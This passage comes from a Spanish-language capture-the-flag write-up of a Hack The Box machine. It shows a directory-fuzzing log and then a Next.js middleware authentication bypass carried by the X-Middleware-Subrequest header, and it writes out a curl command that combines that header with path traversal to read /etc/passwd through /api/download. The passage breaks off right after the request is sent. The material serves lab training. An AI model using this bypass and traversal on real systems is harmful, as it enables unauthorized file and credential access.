&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/jsonws/invoke -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws%2Finvoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 73B - /api/package_search/v4/documentation -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/swagger/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /api/swagger.yml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /api/swagger/static/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fstatic%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/ui/index -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fui%2Findex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/timelion/run -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ftimelion%2Frun
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v1 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v3 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v4 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 74B - /api/vendor/phpunit/phpunit/phpunit -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/version -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v2 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 62B - /api/v2/helpdesk/discover -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /apiserver-aggregator.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /apiserver-key.pem -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-key.pem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /apiserver-client.crt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-client.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /apibuild.pyc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapibuild.pyc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /apiserver-aggregator.key -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/whoami -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fwhoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /apiserver-aggregator-ca.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator-ca.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /apidoc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidoc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /apis -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 19B - /axis//happyaxis.jsp -&amp;gt; /axis/happyaxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 30B - /axis2//axis2-web/HappyAxis.jsp -&amp;gt; /axis2/axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 24B - /axis2-web//HappyAxis.jsp -&amp;gt; /axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:36&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -&amp;gt; /Citrix/AccessPlatform/auth/clientscripts/cookies.js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /docs/CHANGELOG.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2FCHANGELOG.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /docs.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /docs/changelog.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fchangelog.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/export-demo.xml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fexport-demo.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch03s07.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /docs51 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs51
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /docs/html/developer/ch02.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/maintenance.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fmaintenance.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 70B - /docs/html/developer/ch03s15.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /docs/html/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 63B - /docs/html/admin/ch01.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch01s04.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 64B - /docs/html/admin/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/updating.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fupdating.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 39B - /engine/classes/swfupload//swfupload.swf -&amp;gt; /engine/classes/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 42B - /engine/classes/swfupload//swfupload_f9.swf -&amp;gt; /engine/classes/swfupload/swfupload_f9.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:43&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 27B - /extjs/resources//charts.swf -&amp;gt; /extjs/resources/charts.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:47&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 37B - /html/js/misc/swfupload//swfupload.swf -&amp;gt; /html/js/misc/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:59:03&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; - 3KB - /signin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="auth-bypass-nextjs--middleware"&gt;Auth Bypass (Next.js / middleware)&lt;/h3&gt;
&lt;p&gt;A partir de &lt;strong&gt;Wappalyzer&lt;/strong&gt; se identificó una versión vulnerable a &lt;strong&gt;Auth Bypass&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-84b5-df3212b9082a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La técnica consistía en añadir un encabezado específico a la request.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80fc-a54a-c90485e3c637.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con el bypass, se siguieron enumerando rutas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80ed-ae21-cf87f8bd4f9a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un endpoint interesante: &lt;code&gt;/api/download&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="apidownload--lfi"&gt;/api/download → LFI&lt;/h3&gt;
&lt;p&gt;Se hizo fuzzing del parámetro y aparece el nombre &lt;code&gt;example&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8072-881b-c6c880e8885a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Probando el endpoint con &lt;code&gt;curl&lt;/code&gt; se observa un comportamiento de descarga.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806e-b0ff-d69b119ea81e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A partir de ahí se prueba un &lt;strong&gt;LFI&lt;/strong&gt; sobre el parámetro.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
